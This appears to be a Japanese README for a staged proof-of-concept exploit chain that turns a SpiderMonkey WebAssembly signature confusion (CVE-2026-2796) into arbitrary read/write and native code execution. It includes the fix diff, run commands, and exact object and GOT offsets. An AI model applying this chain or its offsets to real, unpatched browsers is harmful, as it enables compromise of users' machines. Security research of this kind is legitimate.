
CVE-2026-2796 向け PoC エクスプロイトチェーン: SpiderMonkey WebAssembly サンドボックスエスケープ (シグネチャ型混同 -> 任意の R/W -> RCE)
CVE-2026-2796 の概念実証エクスプロイトチェーン。Mozilla SpiderMonkey の WebAssembly インポート最適化("JavaScript: WebAssembly" コンポーネント)における JIT 誤コンパイル / 型混乱です。細工された wasm モジュールにより、ホストプロセス全体に対する任意読み書きと任意のネイティブコード実行が可能となり、WebAssembly サンドボックスから脱出します。
e2acef67 ("Bug 2013165 - Fix import optimization")wasm モジュールが JS 関数をインポートするとき、SpiderMonkey は MaybeOptimizeFunctionCallBind(js/src/wasm/WasmInstance.cpp)で最適化を適用し、Function.prototype.call.bind(fn) の形式のインポートをアンラップして、fn を直接インポートの呼び出し可能オブジェクトとして格納します。このとき、バインドされた値自体が wasm エクスポート関数であるかどうかのチェックが欠落していました:
+ if (boundThis.toObject().is<JSFunction>() &&
+ boundThis.toObject().as<JSFunction>().isWasm()) {
+ return nullptr;
+ }
チェックがないため、インポートは 元々 wasm の 関数として扱われ、JS ラッパー — そしてそれに伴うシグネチャチェック — がスキップされます。その結果、wasm 関数が、実際の型と一致しない宣言済みインポート型を通じて呼び出される可能性があります。値はレジスタ内でそのまま渡されますが、その解釈だけが変わります(例:攻撃者が制御する i64 が (ref $t) GC ポインタとして使われ、その逆も同様)。
| ファイル | ステージ | 結果 |
|---|---|---|
poc-crash.js | シグネチャ混乱 | i64.const 0xDEADBEEF が funcref ポインタとしてデリファレンスされる → 0xdeadbf2f で SIGSEGV |
poc-addrof.js | addrOf + fakeobj | 双方向の混乱(i64 ↔ (ref $t))→ 偽の WasmArrayObject(numElements_ @+16、data_ @+24、インライン要素 @+40)→ プロセス内の任意の場所に対する任意 R/W |
poc-recon.js | レイアウト偵察 | JSFunction native ptr @+0x20 → バイナリベースリーク; WasmFuncRef typeDef ptr @+0x40 |
poc-forge.js | 制御フロー | 偽造された funcref が call_ref 型チェックを通過; 呼び出し先は [funcref+0x38] からロード |
poc-rce.js | コード実行 | 偽造 funcref → リークした system()(バイナリベース + GOT エントリ @ base+0x11d47b0)を介して system("touch /tmp/CVE-2026-2796-PWNED") |
混乱プリミティブは、Mozilla 自身のリグレッションテスト(js/src/jit-test/tests/wasm/regress/bug2013165.js)とまったく同じ方法で取得されます:Function.prototype.call.bind(wasmExport) を、インポート宣言が異なるシグネチャを持つ 2 番目のモジュールにインポートし、その後 ref.func + call_ref を実行します。
# Firefox ソース @ 2fbc0748c460b38fc95407a3f14c41d12fb12026 (2026-01-14、
# Firefox 148 nightly — 修正前)。148 より前の任意のリビジョンで動作します。
cd js/src
../../configure --enable-debug --enable-optimize --without-intl-api \
--enable-project=js # objdir 例: js/src/_obj
cd _obj && make -j8
# バイナリ: dist/bin/js ("JavaScript-C149.0a1" と表示)
JS=/path/to/dist/bin/js
$JS poc/poc-crash.js # 0xdeadbf2f で SIGSEGV
$JS poc/poc-addrof.js # [+] arbitrary read OK / write OK を表示
$JS poc/poc-recon.js # JSFunction / WasmFuncRef メモリをダンプ
$JS poc/poc-forge.js # PC = 仕込んだカナリアでクラッシュ
rm -f /tmp/CVE-2026-2796-PWNED
$JS poc/poc-rce.js # system() 経由で /tmp/CVE-2026-2796-PWNED を作成
修正済みビルド(Firefox ≥ 148)では、poc-crash.js は代わりに
TypeError: bad type をスローします — シグネチャチェックが復元されています。
オフセットは macOS arm64(js シェル、この正確なリビジョン / ビルドフラグ)向けです:
WasmArrayObject { +16 numElements、+24 data_、+40 インラインデータ }、
JSFunction native @ +0x20、WasmFuncRef { +0x40 typeDef、+0x38 呼び出し
ターゲット }。これらは PoC の自己テストによって実行時に経験的に検証されています。
他のビルド / アーキテクチャでは再導出が必要です(偵察 PoC がそのほとんどを自動化します)。
arm64(非 arm64e)バイナリには PAC なし。JIT 領域は呼び出し時に書き込み可能ではないため、
チェーンはコードを注入する代わりに既存の呼び出しターゲットを乗っ取ります。
ステージ 2 分析については docs/full-escape.md を参照してください: CVE-2026-2768(Bug 2014101、親プロセスの IndexedDB OOB 書き込み)を介した、 レンダラープロセスでのコード実行からの OS サンドボックスエスケープ — 完全な Firefox 侵害の「2 つ目のバグ」。ここで使用されている脆弱なツリーは、その修正も先行しています。
これは wasm エンジンのサンドボックス(リニアメモリ / GC 封じ込め)からの脱出であり、 現在のプロセス内での ネイティブコード実行をもたらします。実際のブラウザ攻撃では、 これは Firefox のコンテンツプロセス内に到達します。OS サンドボックスからの脱出 (「2 つ目のバグ」:IPC 混乱またはカーネルエクスプロイト)は別の問題であり、 この PoC の一部ではありません。
javascript.options.wasm=false でトリガーベクターをブロック。セキュリティ研究、教育、および防御的テスト専用です。この脆弱性は現在の Firefox/Thunderbird リリースで修正されています。所有していないシステム、または 明示的なテスト許可を得ていないシステムに対して使用しないでください。